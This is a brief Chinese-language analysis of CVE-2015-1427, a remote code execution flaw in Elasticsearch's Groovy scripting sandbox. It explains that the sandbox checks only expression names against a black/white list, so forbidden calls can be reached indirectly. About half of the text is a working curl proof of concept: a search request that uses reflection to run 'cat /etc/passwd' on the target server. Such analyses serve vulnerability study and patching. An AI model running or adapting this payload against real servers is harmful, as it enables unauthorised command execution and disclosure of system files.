CVE-2015-1427

ElasticSearch Groovy脚本远程代码执行漏洞分析（CVE-2015-1427）

com.elasticsearch.script.groovy.GroovySandboxExpressionChecker 逻辑存在漏洞

从代码中能够看到这个沙盒，只是根据黑白名单，在表达式语义上判断表达式是否合法的，能够说是一个“浅”沙盒，简单来来讲，好比沙盒设置不容许调用shell()这个方法，直接调用shell()方法，沙盒在表达式中发现了shell()这个字符串，就会报非法调用，可是若是有一个方法叫poc()这个方法中调用了shell()方法（poc(){shell()}）,当调用poc()方法的时候，shell()方法也就被间接调用了沙盒并不会报错。

curl -XPOST 'http://ip:port/_search?pretty' -d '{
        "size":1,
        "script_fields":{
                "lupin":{
                "script":"java.lang.Math.class.forName(\"java.io.BufferedReader\").getConstructor(java.io.Reader.class).newInstance(java.lang.Math.class.forName(\"java.io.InputStreamReader\").getConstructor(java.io.InputStream.class).newInstance(java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"cat /etc/passwd\").getInputStream())).readLines()",
                "lang":"groovy"
                }
        }
}'

https://www.secpulse.com/archives/5047.html